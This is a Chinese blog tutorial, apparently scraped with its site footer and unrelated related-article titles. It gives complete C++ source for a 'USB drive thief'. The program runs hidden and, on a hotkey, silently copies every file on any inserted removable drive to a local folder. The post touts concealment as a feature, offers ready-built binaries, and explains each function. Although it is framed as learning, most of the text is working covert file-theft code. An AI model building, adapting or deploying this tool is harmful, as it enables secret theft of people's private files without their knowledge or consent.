C++实现U盘小偷(超详细版)

文章目录

  • 前言
  • 一、程序演示
  • 二、项目下载
  • 三、源代码
  • 四、代码解析
    • 1.main函数
    • 2.RegisterGlobalKey与UnRegistreGlobalKey函数
    • 3.DealMsg函数
    • 4.FindDriver函数
    • 5.ThrToSearch线程搜索函数
    • 6.ThrToCopy线程拷贝函数
    • 7.FindAllFile函数

前言

对于C/C++学习感兴趣的小伙伴,可以看看这篇文章哦:C/C++教程

本文主要介绍了一个控制台版本的U盘小偷,另一篇文章介绍了实现一个用MFC写的U盘小偷,更加详细!点击这里查看

所谓U盘小偷,顾名思义,就是一种可以在暗中窃取U盘数据的一个程序

但本文志不在此,主要是学习U盘小偷程序中所用到的技术

我也在网上看到过部分U盘小偷源代码,发现很多缺陷,比如代码臃肿,执行效率缓慢,操作繁琐

所以我花了一天左右,也写了一个U盘小偷,并经过了十来次的代码测试,修复了相当多的Bug,最终成型,可稳定持续运行

运行环境为VS(Visual Studio),网上安装教程很多,这里就不再赘述,个人使用推荐安装社区版,免费使用且与其它版本区别不大,注意必须要安装C++开发环境

在这里插入图片描述

此程序主要特色有:

  • 程序可完全隐藏
  • 可通过全局快捷键显示或隐藏程序,启动或退出程序
  • 多线程并发执行,大大提高执行速度

此程序设计到的知识点有:

  • WIndows消息循环
  • C++结合Win API函数编程
  • 多线程编程
  • 防程序多开

一、程序演示

在这里插入图片描述
为了演示看到效果,我显示了窗口,实际上可以一直在隐藏状态下进行复制U盘文件

如果觉得快捷键不符合自己的习惯,可直接在此处更改:
在这里插入图片描述

具体如何更改,请参考RegisterHotKey 函数官方文档

二、项目下载

点击此处下载
在这里插入图片描述
该压缩包解压后如图
一,二项分别为32位和64位的应用,可点击直接运行,点击后是隐藏的,可按alt+z显示,具体快捷键参考上文

三,四项为项目工程,分别为vs2019和vs2022的项目
在这里插入图片描述
选择对应的版本解压,就可以直接点击UDisktThief.sln工程文件,直接用vs打开就可以直接使用

如果觉得应用图标不好看的,可以进入UDisktThief文件夹,删除app.ico文件,并将自己喜欢的icon格式的图像文件拷贝到这里,改名为app.ico,然后重新编译即可
在这里插入图片描述

三、源代码

#include<Windows.h>
#include<DbgHelp.h>
#include<iostream>
#include<queue>
#include<thread>
#include<mutex>
#include<atomic>
using namespace std;
#pragma comment(lib,"Dbghelp.lib")
//定义存储复制文件与目的地文件结构体
struct DString 
{string oldFile;string newFile;DString(const string& _oldFile, const string& _newFile) {oldFile = _oldFile;newFile = _newFile;}
};
bool isShow=false;
queue<DString> g_qFile; //文件信息队列
mutex g_qMutex; //队列互斥体
mutex g_outMutex; //输出互斥体
int g_numofThread=5; //开启复制文件的线程数
HANDLE* hThread = new HANDLE[g_numofThread];
atomic<int> g_exitThread; //记录退出的线程数量
string g_savePath = "D:\\Thief"; //保存文件的路径
ULONGLONG g_SpendTime;//记录拷贝所总共所用时间bool g_bExit = false; //决定拷贝文件的线程是否退出
//注册全局热键
bool RegisterGlobalKey();
//删除全局快捷键
void UnRegistreGlobalKey();
//找U盘
vector<string> FindDriver();
//处理消息
bool DealMsg(WPARAM wParam);
//搜索所有文件
void FindAllFile(string savePath, string dir);
//拷贝文件的线程
unsigned _stdcall ThrToCopy(void*);
//搜索文件的线程
unsigned __stdcall ThrToSearch(void* param);int main() {ShowWindow(GetConsoleWindow(), SW_HIDE); //隐藏窗口//创建内核对象,防止多开CreateMutex(NULL, TRUE, L"DBF4E165-EE50-47D9-B2D6-ADA8C0B05887");if (GetLastError() == ERROR_ALREADY_EXISTS) return -1;UnRegistreGlobalKey(); //注销全局快捷键,防止其它应用占用bool ret=RegisterGlobalKey();//注册全局款快捷键if (!ret) return -1;SetConsoleTitleW(L"UDisktThief"); //设置窗口标题MSG msg{};while (GetMessage(&msg, NULL, 0, 0)) {	//接受消息ret = DealMsg(msg.wParam); //处理消息if (!ret) break; //false则退出程序}UnRegistreGlobalKey(); //注销全局快捷键
}bool RegisterGlobalKey() {bool ret = RegisterHotKey(NULL, 'l', MOD_CONTROL, VK_CONTROL); //单击Ctrl开启运行if (!ret) return ret;ret = RegisterHotKey(NULL, 'q', MOD_CONTROL, 'Q'); //Ctrl+Q 退出程序if (!ret) return ret;ret = RegisterHotKey(NULL, 's', MOD_ALT, 'Z'); //Ctrl+alt 显示与隐藏窗口if (!ret) return ret;return ret;
}
void UnRegistreGlobalKey() {UnregisterHotKey(NULL,'l');UnregisterHotKey(NULL,'q');UnregisterHotKey(NULL,'s');
}
vector<string> FindDriver() {int len = GetLogicalDriveStringsA(0, 0);std::string dri;dri.resize(len);GetLogicalDriveStringsA(len, (LPSTR)dri.c_str());vector<string> uDrive;for (int i = 0; i < len - 1; i++) {if (dri[i] == '\0' && dri[i + 1] == '\0') break; //到结尾,退出if (dri[i] != '\0') continue; //不为盘符名分界,继续下一次循环i += 1;if (GetDriveTypeA(&dri[i]) == DRIVE_REMOVABLE) uDrive.push_back(&dri[i]);}return uDrive;
}
bool DealMsg(WPARAM wParam) {	//处理消息switch (wParam){case 'l': //开始执行程序{cout << "开始执行!" << endl;vector<string> uDrive = FindDriver(); //找U盘if (uDrive.empty()) {cout << "没有U盘!" << endl;break;} //没有则直接退出g_SpendTime = GetTickCount64();g_bExit = false; //设置线程退出标志为falsefor (int i = 0; i < uDrive.size(); i++) {char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节strcpy_s(buf,4,uDrive[i].data());_beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程}g_exitThread = 1;for (int i = 0; i < g_numofThread; i++) { //开启g_numofThread个线程进行拷贝hThread[i]=(HANDLE)_beginthreadex(0, 0, ThrToCopy, 0, 0, 0);}}break;case 'q': //退出程序g_bExit = true;Sleep(50);cout << "退出程序!" << endl;return false;case 's': //显示或隐藏界面isShow = !isShow;ShowWindow(GetConsoleWindow(), isShow);break;default:break;}return true;
}unsigned __stdcall ThrToCopy(void*) {while (!g_bExit) {//从队列中取数据g_qMutex.lock();if (g_qFile.empty()) {g_qMutex.unlock();continue;}DString cf = g_qFile.front();g_qFile.pop();g_qMutex.unlock();g_outMutex.lock();cout << "队列剩余任务:" << g_qFile.size() << endl;g_outMutex.unlock();BOOL ret = CopyFileA(cf.oldFile.data(), cf.newFile.data(), TRUE);//复制文件g_outMutex.lock();if (ret) cout << cf.oldFile << ":复制完成\t" << endl;else cout << cf.oldFile << ":复制失败\t" << endl;g_outMutex.unlock();}g_outMutex.lock();cout << "拷贝线程退出:"<<g_exitThread++<<"/"<<g_numofThread<< endl;g_outMutex.unlock();return 0;
}
unsigned __stdcall ThrToSearch(void* param) {FindAllFile(g_savePath, (char*)param);delete param;while (!g_qFile.empty()) Sleep(1000); //队列任务未处理完成,休眠g_bExit = true; //退出复制文件的线程WaitForMultipleObjects(g_numofThread,hThread,TRUE, INFINITE);g_SpendTime = GetTickCount64() - g_SpendTime;int ms = (int)g_SpendTime % 1000; //毫秒g_SpendTime /= 1000;int sec = (int)g_SpendTime % 60; //秒g_SpendTime /= 60;int minutes = (int)g_SpendTime % 60; //分钟int hours = (int)g_SpendTime / 60; //小时g_outMutex.lock();cout << "完成拷贝!搜索线程退出!" << endl;printf("共花费时间:%02d:%02d:%02d %03d\n", hours, minutes, sec, ms);g_outMutex.unlock();return 0;
}void FindAllFile(string savePath, string dir) {if (savePath.back() == '\\') savePath.pop_back(); //去除最后的\符号if (dir.back() == '\\') dir.pop_back(); //去除最后的\符号MakeSureDirectoryPathExists((savePath + '\\').c_str()); //确保保存文件夹存在//遍历文件,添加到队列WIN32_FIND_DATAA fileData{};HANDLE hFile = FindFirstFileA((dir + "\\*").c_str(), &fileData);if (hFile == INVALID_HANDLE_VALUE) return;do {if (strcmp(fileData.cFileName, ".") == 0 || strcmp(fileData.cFileName, "..") == 0) continue;if (fileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { //如果为目录,进行递归FindAllFile((savePath + '\\' + fileData.cFileName).data(), (dir + '\\' + fileData.cFileName).data());continue;}//找到文件,添加到队列g_qMutex.lock();g_qFile.push(DString(dir + "\\" + fileData.cFileName, savePath + "\\" + fileData.cFileName));g_qMutex.unlock();//输出相应信息g_outMutex.lock();cout << "当前队列数量:" << g_qFile.size() << endl;g_outMutex.unlock();} while (FindNextFileA(hFile, &fileData));FindClose(hFile);
}

四、代码解析

1.main函数

首先从程序入口,main函数开始讲起

int main() {ShowWindow(GetConsoleWindow(), SW_HIDE); //隐藏窗口//创建内核对象,防止多开CreateMutex(NULL, TRUE, L"DBF4E165-EE50-47D9-B2D6-ADA8C0B05887");if (GetLastError() == ERROR_ALREADY_EXISTS) return -1;UnRegistreGlobalKey(); //注销全局快捷键,防止其它应用占用bool ret=RegisterGlobalKey();//注册全局款快捷键if (!ret) return -1;SetConsoleTitleW(L"UDisktThief"); //设置窗口标题MSG msg{};while (GetMessage(&msg, NULL, 0, 0)) {	//接受消息ret = DealMsg(msg.wParam); //处理消息if (!ret) break; //false则退出程序}UnRegistreGlobalKey(); //注销全局快捷键
}

第一行,使用到了两个Win API:GetConsoleWindow,ShowWindow

GetConsoleWindow() //获取当前控制台窗口的句柄
BOOL ShowWindow(
HWND hWnd, //要操作的窗口句柄
int  nCmdShow //设置窗口显示方式,可以直接填false,为隐藏,true为显示,更多显示方式可点击上方函数颜色字体,跳转到官网查看
);

作用为将当前控制台隐藏

第二、三行,使用到的API函数为:CreateMutex,GetLastError

HANDLE CreateMutexA(
LPSECURITY_ATTRIBUTES lpMutexAttributes, //安全属性,一般直接填NULL即可,默认安全
BOOL                  bInitialOwner, //是否拥有该内核,TRUE或FALSE应都可
LPCSTR                lpName     //该内核的名称,我用的是随机生成的GUID码,避免与其它程序相同
);
GetLastError(); //获取错误码

作用:尝试创建一个叫"DBF4E165-EE50-47D9-B2D6-ADA8C0B05887"的内核对象,如果获取的错误码等于ERROR_ALREADY_EXISTS,表示该程序已经运行,直接退出,否则则正常运行

2.RegisterGlobalKey与UnRegistreGlobalKey函数

然后两行为我写的两个函数,分别用于注销全局热键和注册全局热键

bool RegisterGlobalKey() {bool ret = RegisterHotKey(NULL, 'l', MOD_CONTROL, VK_CONTROL); //单击Ctrl开启运行if (!ret) return ret;ret = RegisterHotKey(NULL, 'q', MOD_CONTROL, 'Q'); //Ctrl+Q 退出程序if (!ret) return ret;ret = RegisterHotKey(NULL, 's', MOD_ALT, 'Z'); //alt+Z 显示与隐藏窗口if (!ret) return ret;return ret;
}
void UnRegistreGlobalKey() {UnregisterHotKey(NULL,'l');UnregisterHotKey(NULL,'q');UnregisterHotKey(NULL,'s');
}

这两个函数非常简单,只是调用了两个win API函数:RegisterHotKey和UnregisterHotKey


BOOL RegisterHotKey(
HWND hWnd, //收全局热键消息的窗口,填NULL,表示将消息发送到当前线程
int  id, //标识消息,通过这个可以识别消息,我这里使用的l代表启动(launch)程序,q代表退出(quit),s代表显示或隐藏窗口(show)
UINT fsModifiers,//组合键,就是经常使用的Ctrl,alt等
UINT vk //和组合键配合的键,两者结合成为完成的组合键,我注册了Ctrl,alt+Z,Ctrl+Q三个快捷键
);
BOOL UnregisterHotKey(
HWND hWnd, //要取消热键的窗口int  id //信息id,与注册信息id使用的同一个值
);

之所以先调用注销,也是以防万一全局快捷键被其它程序注册,注销后就注册热键,如注册热键失败则直接退出程序.

然后用到了win API函数:SetConsoleTitleW

BOOL WINAPI SetConsoleTitle(LPCTSTR lpConsoleTitle //要为当前控制台设置的标题
);

该函数的作用只是修改控制台窗口的标题

然后来到了最关键的一步------消息队列,使用到了Win API函数:GetMessage和一个消息结构体MSG

BOOL GetMessage([out]          LPMSG lpMsg, //存放收到的消息[in, optional] HWND  hWnd, //收哪个窗口的消息,填NULL,收本线程的消息[in]           UINT  wMsgFilterMin, //要收最低消息id,一般直接填0即可[in]           UINT  wMsgFilterMax  //要收最高消息id,一般直接填0即可,收所有消息
);
typedef struct tagMSG {HWND   hwnd; //接收消息的窗口句柄UINT   message; //消息标识符WPARAM wParam; //参数,取决于具体消息类型,此程序消息中,该参数的内容为之前注册的消息idLPARAM lParam; ///参数,取决于具体消息类型,此程序消息中,无用DWORD  time; //消息被发送的时间POINT  pt; //消息发送时,鼠标的坐标DWORD  lPrivate; //无说明
} MSG, *PMSG, *NPMSG, *LPMSG;

该函数的作用就是不断收取属于自己的消息,然后将消息交给DealMsg函数处理,如果该函数返回false,则退出消息循环,即退出程序

最后注销之前注册的全局热键,最后退出

3.DealMsg函数

bool g_bExit = false; //决定拷贝文件的线程是否退出
bool isShow = false; //当前窗口是否显示
bool DealMsg(WPARAM wParam) {	//处理消息switch (wParam){case 'l': //开始执行程序{cout << "开始执行!" << endl;vector<string> uDrive = FindDriver(); //找U盘if (uDrive.empty()) {cout << "没有U盘!" << endl;break;} //没有则直接退出g_SpendTime = GetTickCount64();g_bExit = false; //设置线程退出标志为falsefor (int i = 0; i < uDrive.size(); i++) {char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节strcpy_s(buf,4,uDrive[i].data());_beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程}g_exitThread = 1;for (int i = 0; i < g_numofThread; i++) { //开启g_numofThread个线程进行拷贝hThread[i]=(HANDLE)_beginthreadex(0, 0, ThrToCopy, 0, 0, 0);}}break;case 'q': //退出程序g_bExit = true;Sleep(50);cout << "退出程序!" << endl;return false;case 's': //显示或隐藏界面isShow = !isShow;ShowWindow(GetConsoleWindow(), isShow);break;default:break;}return true;
}

此函数的作用为,根据接收到的消息id,分开处理不同任务

  • id为q的消息,直接返回false,退出程序
  • id为s的消息,表示更改当前窗口显示状态,当前窗口状态我用了一个全局变量isShow表示
  • id为l的消息,表示开始运行程序

在运行程序分支中,首先要查看当前电脑中是否存在U盘,这里用到了我写的一个函数FindDriver

4.FindDriver函数

vector<string> FindDriver() {int len = GetLogicalDriveStringsA(0, 0); //获取盘符名总长度std::string dri;dri.resize(len);GetLogicalDriveStringsA(len, (LPSTR)dri.c_str());//获取盘符名vector<string> uDrive; //存储U盘名for (int i = 0; i < len - 1; i++) {if (dri[i] == '\0' && dri[i + 1] == '\0') break; //到结尾,退出if (dri[i] != '\0') continue; //不为盘符名分界,继续下一次循环i += 1;if (GetDriveTypeA(&dri[i]) == DRIVE_REMOVABLE) uDrive.push_back(&dri[i]);}return uDrive;
}

该函数中主要调用了两个Win API函数:GetLogicalDriveStringsA,GetDriveTypeA

DWORD GetLogicalDriveStringsA([in]  DWORD nBufferLength, //缓存区长度[out] LPSTR lpBuffer //缓存区
);
//作用:将当前系统所有盘符都返回到缓存区中,每个盘符之间用\0
UINT GetDriveTypeA(
LPCSTR lpRootPathName //盘符名称,获取该盘符的类型,如果是U盘则返回DRIVE_REMOVABLE
);

该函数的原理就是将当前所有电脑盘符得到为一个字符串,再对该字符串进行解析,分别判断盘符的类型,如果是U盘则存储,最后返回获得的U盘名称

紧接着DealMsg函数中下一句为判断返回的U盘名数组是否为空,如果为空则直接退出

如果不为空,则说明存在U盘,紧接着使用了GetTickCount64函数

g_SpendTime = GetTickCount64();

该函数的作用就是获取系统启动到当前所经过的毫秒数,并将结果保存到全局变量g_SpendTime中,方便最后计算拷贝U盘文件所消耗的时间

g_bExit = false; //设置线程退出标志为false

紧接着就是将全局变量g_bExit设置为false,该全局变量的作用是用于通知后面开启的线程何时退出,当该变量为true时,拷贝文件的所有线程都会退出

		for (int i = 0; i < uDrive.size(); i++) {char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节strcpy_s(buf,4,uDrive[i].data());_beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程}

然后就是为当前电脑的每个U盘都开启搜索线程,将U盘名拷贝到堆中,然后将指针传递给搜索线程

这里使用的是C语言的线程库#include,用到的就是这个开启线程的函数

_ACRTIMP uintptr_t __cdecl _beginthreadex(
void*                    _Security, //安全属性,一般填NULL
unsigned                 _StackSize, //线程的初始栈大小,填0,默认
_beginthreadex_proc_type _StartAddress, //线程的入口函数
void*                    _ArgList, //为线程传递的参数
unsigned                 _InitFlag, //线程启动标志,填0立即启动
unsigned*                _ThrdAddr //返回线程的ID,填0,不接收即可
);

该函数与Windows API创建线程的函数CreateThread各个参数含义相同,可以参考官方文档

开启搜索线程之后,就是开启拷贝线程了

		g_exitThread = 1;for (int i = 0; i < g_numofThread; i++) { //开启g_numofThread个线程进行拷贝hThread[i]=(HANDLE)_beginthreadex(0, 0, ThrToCopy, 0, 0, 0);}

这里将全局变量g_exitThread 设置为1,该全局变量的作用是计数退出的拷贝线程,每退出一个拷贝线程,该数加1,方便最好确认所有线程都正确退出

值得注意的是,该变量为#include库中的原子类型,这是避免多线程情况下,该数被不正常修改
在这里插入图片描述

全局变量g_numofThread为要开启的拷贝线程数量,我设置的5个,当然也可以设置更多,当然也不是说拷贝线程设置的越多便速度越快,主要取决于电脑,具体情况需要自己测试

然后就是通过for循环开启线程,并将开启的线程返回值,也就是线程句柄存储到全局变量hThread数组中,作用是使搜索线程等待这些拷贝线程结束,然后再结束

5.ThrToSearch线程搜索函数

unsigned __stdcall ThrToSearch(void* param) {FindAllFile(g_savePath, (char*)param);delete param;while (!g_qFile.empty()) Sleep(1000); //队列任务未处理完成,休眠g_bExit = true; //退出复制文件的线程WaitForMultipleObjects(g_numofThread,hThread,TRUE, INFINITE);g_SpendTime = GetTickCount64() - g_SpendTime;int ms = (int)g_SpendTime % 1000; //毫秒g_SpendTime /= 1000;int sec = (int)g_SpendTime % 60; //秒g_SpendTime /= 60;int minutes = (int)g_SpendTime % 60; //分钟int hours = (int)g_SpendTime / 60; //小时g_outMutex.lock();cout << "完成拷贝!搜索线程退出!" << endl;printf("共花费时间:%02d:%02d:%02d %03d\n", hours, minutes, sec, ms);g_outMutex.unlock();return 0;
}

搜索线程函数首先调用了FindAllFile函数,该函数为我自己写的,作用是遍历一个U盘中的所有文件,并将要拷贝的文件路径和要拷贝的位置,通过全局结构体队列保存起来

struct DString 
{string oldFile;string newFile;DString(const string& _oldFile, const string& _newFile) {oldFile = _oldFile;newFile = _newFile;}
};
queue<DString> g_qFile; //文件信息队列

当搜索完成后,进入while循环,等待文件信息队列中的信息全部被拷贝完成

while (!g_qFile.empty()) Sleep(1000); //队列任务未处理完成,休眠

然后就是等待所有拷贝线程结束,方法是设置全局变量g_bExit 为true通知线程,然后再等待所有线程结束

	g_bExit = true; //退出复制文件的线程WaitForMultipleObjects(g_numofThread,hThread,TRUE, INFINITE);

这里使用到的一个Win API函数WaitForMultipleObjects

DWORD WaitForMultipleObjects([in] DWORD        nCount, //要等待的线程数量[in] const HANDLE *lpHandles, //线程句柄数组[in] BOOL         bWaitAll, //是否等待所有[in] DWORD        dwMilliseconds  //等待时间,INFINITE,也就是-1,为一直等待
);

当然此函数的用法并不局限于线程句柄,其它用法请参考官方文档

然后就简单了,当所有拷贝线程完成工作退出,就是计算一下花费了多少时间并输出

主要需要注意的点是输出的操作

	g_outMutex.lock();cout << "完成拷贝!搜索线程退出!" << endl;printf("共花费时间:%02d:%02d:%02d %03d\n", hours, minutes, sec, ms);g_outMutex.unlock();

g_outMutex为全局互斥体变量,lock表示占用输出,当前只能我输出.unlock表示输出完了,让别人输出,目的是防止多线程同时输出,导致输出混乱

6.ThrToCopy线程拷贝函数

接下来就是线程拷贝函数

unsigned __stdcall ThrToCopy(void*) {while (!g_bExit) {//从队列中取数据g_qMutex.lock();if (g_qFile.empty()) {g_qMutex.unlock();continue;}DString cf = g_qFile.front();g_qFile.pop();g_qMutex.unlock();g_outMutex.lock();cout << "队列剩余任务:" << g_qFile.size() << endl;g_outMutex.unlock();BOOL ret = CopyFileA(cf.oldFile.data(), cf.newFile.data(), TRUE);//复制文件g_outMutex.lock();if (ret) cout << cf.oldFile << ":复制完成\t" << endl;else cout << cf.oldFile << ":复制失败\t" << endl;g_outMutex.unlock();}g_outMutex.lock();cout << "拷贝线程退出:"<<g_exitThread++<<"/"<<g_numofThread<< endl;g_outMutex.unlock();return 0;
}

该函数的作用就是从文件信息队列中取文件信息,并进行拷贝

可以看到,主要就是一个while循环,以全局变量g_bExit为条件,如果为false,就会一直循环,当为true则退出循环

这里从队列中取文件信息也用到了互斥体,目的也是防止多个线程同时在一个队列中取数据,出现意想不到的错误

取出文件信息后,用到了win API函数CopyFileA

BOOL CopyFileA([in] LPCSTR lpExistingFileName, //要复制的文件[in] LPCSTR lpNewFileName, //复制的目的地,新文件[in] BOOL   bFailIfExists //如果文件存在,true将返回失败,false,将覆盖旧文件
);

该函数的作用就是将U盘中的文件复制到电脑上

最后就是输出一些显示信息

7.FindAllFile函数

该函数作用就是将U盘文件和复制目的地保存到全局队列中

实现逻辑:

  1. 先将传入的路径中,如果末尾存在\字符,去除掉
  2. 确保保存路径存在
  3. 遍历目标文件夹,如果为文件夹,则合成新路径,递归调用该函数
  4. 如果不为文件夹,则添加到全局文件信息队列中
void FindAllFile(string savePath, string dir) {if (savePath.back() == '\\') savePath.pop_back(); //去除最后的\符号if (dir.back() == '\\') dir.pop_back(); //去除最后的\符号MakeSureDirectoryPathExists((savePath + '\\').c_str()); //确保保存文件夹存在//遍历文件,添加到队列WIN32_FIND_DATAA fileData{};HANDLE hFile = FindFirstFileA((dir + "\\*").c_str(), &fileData);if (hFile == INVALID_HANDLE_VALUE) return;do {if (strcmp(fileData.cFileName, ".") == 0 || strcmp(fileData.cFileName, "..") == 0) continue;if (fileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { //如果为目录,进行递归FindAllFile((savePath + '\\' + fileData.cFileName).data(), (dir + '\\' + fileData.cFileName).data());continue;}//找到文件,添加到队列g_qMutex.lock();g_qFile.push(DString(dir + "\\" + fileData.cFileName, savePath + "\\" + fileData.cFileName));g_qMutex.unlock();//输出相应信息g_outMutex.lock();cout << "当前队列数量:" << g_qFile.size() << endl;g_outMutex.unlock();} while (FindNextFileA(hFile, &fileData));FindClose(hFile);
}

此函数用到的win API函数有:
MakeSureDirectoryPathExists,FindFirstFileA,FindNextFileA
结构体:WIN32_FIND_DATAA

#include<DbgHelp.h>
#pragma comment(lib,"Dbghelp.lib")
BOOL IMAGEAPI MakeSureDirectoryPathExists([in] PCSTR DirPath //路径
);

作用:如果指定的路径不存在,此函数将自动创建目录,确保该路径存在

HANDLE FindFirstFileA([in]  LPCSTR             lpFileName, //要找的文件名称,遍历文件夹就要使用通配符[out] LPWIN32_FIND_DATAA lpFindFileData //保存找到的文件信息
);

该函数用于遍历文件的第一次操作,得到返回句柄,再调用FindNextFileA,这两个函数一般配合使用

BOOL FindNextFileA([in]  HANDLE             hFindFile, //FindFirstFileA函数返回的句柄[out] LPWIN32_FIND_DATAA lpFindFileData //保存的文件信息
);

作用:用于遍历FindFirstFileA没有查看到的文件

BOOL FindClose([in, out] HANDLE hFindFile //FindFirstFileA函数返回的句柄
);

作用,关闭文件句柄

typedef struct _WIN32_FIND_DATAW {DWORD    dwFileAttributes; //文件具有的属性,如果为目录则有FILE_ATTRIBUTE_DIRECTORYFILETIME ftCreationTime;FILETIME ftLastAccessTime;FILETIME ftLastWriteTime;DWORD    nFileSizeHigh;DWORD    nFileSizeLow;DWORD    dwReserved0;DWORD    dwReserved1;WCHAR    cFileName[MAX_PATH]; //该成员保存了文件名WCHAR    cAlternateFileName[14];DWORD    dwFileType; // Obsolete. Do not use.DWORD    dwCreatorType; // Obsolete. Do not useWORD     wFinderFlags; // Obsolete. Do not use
} WIN32_FIND_DATAW, *PWIN32_FIND_DATAW, *LPWIN32_FIND_DATAW;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/70828.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一个简单的动态规划问题---小偷案例

Java算法训练—小偷案例 文章目录 Java算法训练---小偷案例 前言一、案例描述二、问题分析三、代码示例总结 前言 动态规划是一种算法技巧&#xff0c;先举一个例子&#xff1a;   如何让一个四岁的小孩理解动态规划的思路&#xff1f;国外友人有这样一个例子&#xff1a;列…

Python编程判断谁是小偷

谁是小偷 ‎小区发生盗窃案&#xff0c;有四个人嫌疑最大&#xff0c;警察找来讯问。‌ ‎A说&#xff1a;不是我。‌ ‎B说&#xff1a;是C。‌ ‎C说&#xff1a;是D。‌ ‎D说&#xff1a;他冤枉人。‌ ‎四人中有一人说了假话&#xff0c;编程分析谁是小偷。 此题主要…

焦耳小偷工作原理分析

当开关闭合&#xff0c;Q1获得基极电流导通&#xff0c;右侧线圈流过电流&#xff0c;由于同名端的关系其在左侧线圈产生的互感电动势上负下正&#xff0c;正反馈使得Q1迅速饱和导通。右侧电流处于饱和状态&#xff0c;感应电动势消失&#xff0c;互感电动势也消失。互感电动势…

c语言四个人中有一个人是小偷,、甲,乙,丙,丁四个人中有一个人是小偷,请根据四个人的谈话判断谁是小偷?已知四个人中有一个人说假话...

、甲,乙,丙,丁四个人中有一个人是小偷,请根据四个人的谈话判断谁是小偷?已知四个人中有一个人说假话 关注:65 答案:5 mip版 解决时间 2021-01-31 07:52 提问者酒瘾渼亽兒 2021-01-30 16:58 、甲,乙,丙,丁四个人中有一个人是小偷,请根据四个人的谈话判断谁是小偷?已…

推理题-谁是小偷?

警察抓住了A、B、C、D四名盗窃嫌疑犯&#xff0c;其中只有一人是小偷。在审问时&#xff0c; A说&#xff1a;“我不是小偷”&#xff1b; B说&#xff1a;“C是小偷”&#xff1b; C说&#xff1a;“小偷肯定是D”&#xff1b; D说&#xff1a;“C在冤枉好人”。 现在已经…

饥荒联机版专用服务器怎么修改小偷包,饥荒联机小偷背包代码 | 手游网游页游攻略大全...

发布时间&#xff1a;2016-08-14 饥荒海难小偷背包获得方法?饥荒失落之船刷小偷背包图文教程,饥荒海难里的小偷背包是格子最多的背包了,相信很多玩家都想拥有,但是小偷背包却不是那么好拿的,今天小编就为大家带来一套饥荒海难刷小偷背包图文教程,希望对大家有所帮助 ... 标签&…

【Multisim仿真】焦耳小偷电路仿真实验

【Multisim仿真】焦耳小偷电路仿真实验 Multisim仿真 本实验仿真平台&#xff1a;Multisim14 基本电路 仿真前的相关设置选项 变压器参数设置主副线圈绕组比例调整比例&#xff1a;10:10 铁芯设置选项&#xff1a; ###对变压器输出绕组端的电压进行瞬态电压进行捕捉 设置…

深度优先遍历算法-01小偷偷东西问题

小偷偷东西问题 前言 深度优先遍历是经典的图论算法&#xff0c;深度优先遍历算法的搜索逻辑和它的名字一样&#xff0c;只要有可能&#xff0c;就尽量深入搜索&#xff0c;直到找到答案&#xff0c;或者尝试了所有可能后确定没有解。简单来说&#xff0c;深度优先遍历就是按照…

百家云在人工智能领域再有新动作,发布应用于多个行业的AIGC解决方案

4月17日消息&#xff0c;音视频SaaS上市公司百家云&#xff08;股票代码&#xff1a;RTC&#xff09;今日宣布&#xff0c;公司将正式推出应用于多个垂直行业及场景的人工智能生成内容及视频解决方案。 百家云总裁马义表示&#xff0c;此次发布的解决方案&#xff0c;将在极短…

可以远程连接服务器,但是无法ping通问题

右键电脑&#xff0c;找到管理 在服务器管理里找到配置项 在配置项里找到 高级安全windows防火墙 在高级安全windows防火墙里&#xff0c;找到&#xff0c;按如下图示&#xff0c;找到“文件和打印机共享&#xff08;回显请求-ICMPv4-in&#xff09;双击。此时图片状态默…

解决连接vcenter (客户端无法向服务器发送完整的请求。(基础连接已经关闭:发送时发生错误。)) 问题...

vCenter版本 5.5 vCenter 安装在server 2008 r2上面&#xff0c;今天补丁一打&#xff0c;重启后就无法连接vcenter了&#xff0c;起初以为是补丁的问题导致vcenter工作不正常&#xff0c;卸载了补丁依旧无法正常连接。 报未知连接错误&#xff0c;&#xff08;客户端无法向服务…

微信提示已连接到服务器失败,微信提示无法连接到服务器如何解决

近来发现不少网友对于微信提示无法连接到服务器如何解决这方面的讯息关注的热度颇高的&#xff0c;那么小编今天就针对此微信提示无法连接到服务器如何解决收集了一些相关的讯息 希望小编收集的这些讯息 能帮助到你。 1、更换接入点,重新连接网络&#xff1a; 2、单击手机上的M…

新手安装postgreSQL后无法连接服务器

2019独角兽企业重金招聘Python工程师标准>>> 系统&#xff1a;Linux Deepin 15.1 postgreSQL&#xff1a;9.5.1 pgAdmin Ⅲ&#xff1a;1.22.0 使用新立得安装postgreSQL和pgAdminⅢ之后&#xff0c;打开pgAdmin需新建服务器。 打开新建服务器窗口后&#xff0c;名称…

用云服务器架设好服务器显示无法连接

各位论坛的前辈大家好&#xff0c;我是刚进入这个圈子的小白&#xff0c;曾经这个问题困扰我两天时间&#xff0c;找了好多教程&#xff0c;都不是我想要的&#xff0c;我一度以为是我传奇版本的问题&#xff0c;所以后面解决掉之后&#xff0c;出个帖子给大家分享下&#xff1…

使用telnet命令,报错:无法打开主机的连接在端口23连接失败

1.页面载入出错时&#xff0c;查找问题的方法 当访问某个页面时&#xff0c;出现如下情况&#xff1a; 遇到以上情况&#xff0c;可以先通过以下的方式确认网络是否连接上 &#xff08;1&#xff09;打开cmd&#xff0c;输入命令&#xff1a;ping <ip> &#xff08;2&…

标题: 连接到服务器------------------------------无法连接到 (local)。------------------------------其他信息:在与

标题: 连接到服务器------------------------------无法连接到 (local)。------------------------------其他信息:在与 在使用SQL Server的时候无法连接的错误&#xff0c;可以参照下图 我这个问题的解决方法就是将服务器名称改一下&#xff0c;删掉原来的服务器名称栏的东西…

手机总显示连接不到聊天服务器,连接不到聊天服务器

